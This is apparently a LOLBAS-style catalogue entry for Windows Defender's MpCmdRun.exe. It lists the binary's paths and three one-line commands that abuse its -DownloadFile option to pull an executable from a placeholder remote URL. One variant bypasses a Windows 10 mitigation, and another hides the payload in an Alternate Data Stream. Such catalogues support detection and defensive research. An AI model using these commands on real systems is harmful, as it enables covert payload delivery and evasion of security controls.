MpCmdRun.exe

type: OSBinaries
Binary part of Windows Defender. Used to manage settings in Windows Defender

Full path

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe
C:\Program Files\Windows Defender\MpCmdRun.exe
C:\Program Files (x86)\Windows Defender\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23110.3-0\X86\MpCmdRun.exe

Commands

  1. DownloadUser T1105

    Download file

    MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}

    Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)

    os: Windows 10

  2. DownloadUser T1105

    Download file

    copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url {REMOTEURL:.exe} -path C:\Users\Public\Downloads\evil.exe

    Download file to specified path. Slashes work as well as dashes (/DownloadFile, /url, /path). Updated version to bypass Windows 10 mitigation.

    os: Windows 10

  3. ADSUser T1564.004

    Hide downloaded data into an Alternate Data Stream

    MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}:evil.exe

    Download file to machine and store it in Alternate Data Stream

    os: Windows 10

Detection

Resources

acknowledgement: Askar @mohammadaskar2, Oddvar Moe @oddvarmoe, RichRumble, Cedric @th3c3dr1c